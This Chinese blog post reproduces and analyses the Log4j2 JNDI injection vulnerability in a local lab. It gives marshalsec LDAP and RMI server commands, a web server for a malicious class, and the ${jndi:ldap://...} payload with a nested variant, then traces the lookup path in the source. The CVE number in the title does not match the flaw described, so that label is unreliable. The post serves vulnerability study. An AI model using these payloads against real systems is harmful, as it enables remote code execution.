[CVE-2021-45105] Apache Log4j2 漏洞复现与原理详细分析

文章目录

0x01 前言：
0x02 版本范围：
0x03 漏洞复现：
0x04 原理分析：
- 1、前置知识:
- 2、JNDI注入流程：
- 3、代码审计分析：
0x05 调用栈：
0x06 总结：

0x01 前言：

2021年12月9日，各大公司都被一个核弹级漏洞惊醒了，该漏洞一旦被攻击者利用就会造成及其严重的影响。该漏洞甚至被认为可能是“计算机历史上最大的漏洞”。经过快速分析和确认，该漏洞影响范围极其广泛，危害极其严重。然后从10日凌晨开始很多公司的程序员都被迫开始应急相应，加班加点修复问题。该漏洞涉及包含但不限于 ElasticSearch、Druid、dubbo、Redis 等常用应用与组件。

当初用这个漏洞也刷了一点 edu rank, 嘿嘿~

0x02 版本范围：

除以上版本，其他版本均存在漏洞。但本文分析的最初漏洞版本 (<= 2.14.1)，绕过修复版本后续更新。

0x03 漏洞复现：

1、前期准备：(本地复现)：

marshalsec (Java反序列化工具，用于启动 RMI & LDAP 服务)

maven

java 1.8

python 3.x

2、创建maven项目，引入log4j2 依赖, 并编写主启动类：

pom.xml 引入如下依赖：

    <dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.11.2</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.11.2</version></dependency></dependencies>

主启动类编写：

注意：并非只有调用 error() 才会触发，只是因为 error 日志优先级最高，不需要写 log4j2.xml 配置文件就可以直接触发，要想使用 info, warn 必须配置 log4j2.xml，否则无法复现成功。（网上很多都是通过 error() 复现，担心读者造成误解）

3、创建maven项目，编写恶意exp，并编译项目获得 .class 文件：

4、把 .class 文件复制到 marshalsec-0.0.3-SNAPSHOT-all.jar 同文件夹下，并启动 LDAP 服务：

并不一定要在同一文件夹下，Exp.class 是通过web服务访问，放一起仅为了方便。

LDAP服务命令：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost/#Exp 6666

RMI服务命令：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost/#Exp 6666

4、在Exp.class的当前目录下启动 web 服务：

python -m http.server 80

5、启动主启动类 Main, 验证漏洞：

漏洞复现完毕，计算器成功弹出

0x04 原理分析：

1、前置知识:

从 payload可以看出，这是基于 JNDI (Java命名和目录接口) 的注入漏洞。什么是 JNDI 注入呢？不了解可以前往 => ：https://blog.csdn.net/gental_z/article/details/122303540

知道是 JNDI 注入，那就要注意一下部分 Java JDK 版本对 JNDI 的限制：（博主复现用的 JDK 8u111）
1、JDK 6u45、7u21之后：java.rmi.server.useCodebaseOnly的默认值被设置为true，表示禁用自动加载远程类文件。
2、JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项。
3、JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项。

2、JNDI注入流程：

3、代码审计分析：

采用动态断点调试进行分析

我们先在代码中编写 log.error()，作为日志入口。

进入error()函数中，我们可以看到在打印日志之前，第一件事情是判断该log日志是否被允许打印。

通过以上代码分析，知道了在没有配置 log4j2.xml 情况下，默认日志 level 是 ERROR, 如果使用 info(), warn() 打印日志，将无法打印。原因：(level: ERROR = 200, WARN = 300, INFO = 400), INFO 和 WARN 的level 均大于 ERROR 的 level， filter 函数返回 false, 既 isEnabled() 返回 false, 导致无法调用 logMessage()，最终退出日志打印。如下log4j2.xml配置日志级别为 INFO，那么 error(), info(), warn() 均可以复现。

步入 logMessage(), 调用 logMessageSafely(), 注释: “实现编译为30字节的字节码”。 emmm, 不知道有啥用，只要 msg 参数没有发生改变就问题不大，直接跳过继续跟进。

现在前期验证工作基本完成，logEventFactory 创建打印事件 createEvent(), 把需要日志输出的信息放入其中, 判断该打印事件是否要忽略，否则执行打印事件。

到一处关键位置 callAppenders, Appender 简单说就是管道，定义了日志内容的去向(保存位置)。如果 log4j2.xml 没有配置，获取一个默认console, 并把日志事件 event 装载进去。

继续跟进，经过一系列的条件过滤终于到了 appender 的处理了，获取配置文件日志输出格式，对其进行编码。

默认日志格式： %d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n

继续跟进可以看到 toText(), 开始对日志event 进行序列化处理。

查看 formatters 数组，可以看到下标为 8 存放的是我们需要打印的信息 (${jndi:ldap://127.0.0.1:6666/Exp})。其余下标存放的都是系统自动根据配置文件打印的额外信息，我们无法通过参数控制，所以直接设置条件断点跳转至 i = 8 进行分析。

条件断点设置技巧：

继续跟入看到调用了Converter相关的方法，不难看出每个formatter和converter为了拼接日志的每一部分，最终得到真正的日志打印信息字符串。

跟入MessagePatternConverter.format() 方法，终于到了核心代码的部分, 看看是如何识别 ${jndi:ldap://127.0.0.1:6666/Exp}的。

通过判断 message 有没有 ${ ，如果存在说明是需要进行变量表达式提取并解析，那我在想如果我的格式是：${jndi:ldap://127.0.0.1:6666/Exp 或者 ${${${${jndi:ldap://127.0.0.1:6666/Exp}}}} 会有用吗？
通过断点调试发现 for 循环次数由 ${ 个数决定的， replace() 就是从 ${} 中层层递归提取出变量：jndi:ldap://127.0.0.1:6666/Exp。也就是说 ${jndi:ldap://127.0.0.1:6666/Exp 格式会执行一次 for 循环，而调用 replace() 由于缺少 },导致无法正常提取出变量，也就无法解析，进而无法远程加载类弹出计算器。 ${${${${jndi:ldap://127.0.0.1:6666/Exp}}}} 格式会执行3次 for 循环，每次调用 replace() 都能通过递归提取出变量，进而远程加载类弹出计算器 (弹 3次)。

继续步入 replace() 方法，调用 substitute() 方法从 ${jndi:ldap://127.0.0.1:6666/Exp} 中递归出变量表达式，调用 resolveVariable() 方法对变量表达式进行解析。

进入 resolveVariable() 方法，可以看到 getVariableResolver() 获取解析器，一共有10种解析器，调用 lookup() 匹配解析器并解析。

跟进 lookup.lookup()，最后调用 JndiManager.lookup() 访问 LDAP 服务器，远程加载类弹出计算器。

0x05 调用栈：

综上分析，调用栈如下：

0x06 总结：

1、 log4j 的源码中执行了 jndiManager.lookup() 方法，这个方法是导致本次漏洞的根因。

2、JNDI 全称为 Java Naming and Directory Interface 也即JAVA 名称和目录接口, JNDI 架构上主要包含两个部分，即 Java 的应用层接口和 SPI，SPI 全称为 Service Provider Interface，即服务供应接口，主要作用是为底层的具体目录服务提供统一接口，从而实现目录服务的可插拔式安装，如下图所示:

3、JDK 中包含了下述内置的目录服务:

RMI: Java Remote Method Invocation，Java 远程方法调用

RMI(Remote Method Invocation)即java的远程方法调用，Java RMI是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法并获取执行结果，即JAVA的RPC机制。关于RMI需要注意以下两点：

RMI的传输是基于反序列化的。

对于任何一个以对象为参数的RMI接口，你都可以发一个自己构建的对象，迫使服务器端将这个对象按任何一个存在于服务端classpath（不在classpath的情况，可以看后面RMI动态加载类相关部分）中的可序列化类来反序列化恢复对象。

LDAP: 轻量级目录访问协议:

LDAP即是JNDI SPI支持的Service Provider之一，但同时也是协议。是早期 X.500 DAP (目录访问协议) 的一个子集，因此有时也被称为 X.500-lite。LDAP目录服务是由目录数据库和一套访问协议组成的系统，目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，能进行查询、浏览和搜索，以树状结构组织数据。LDAP目录服务基于客户端-服务器模型，它的功能用于对一个存在目录数据库的访问。
LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。
LDAP 的目录信息是以树形结构进行存储的，在树根一般定义国家（c=CN）或者域名（dc=com），其次往往定义一个或多个组织（organization，o）或组织单元（organization unit，ou）。一个组织单元可以包含员工、设备信息（计算机/打印机等）相关信息。

CORBA: Common Object Request Broker Architecture，通用对象请求代理架构，用于 COS 名称服务(Common Object Services)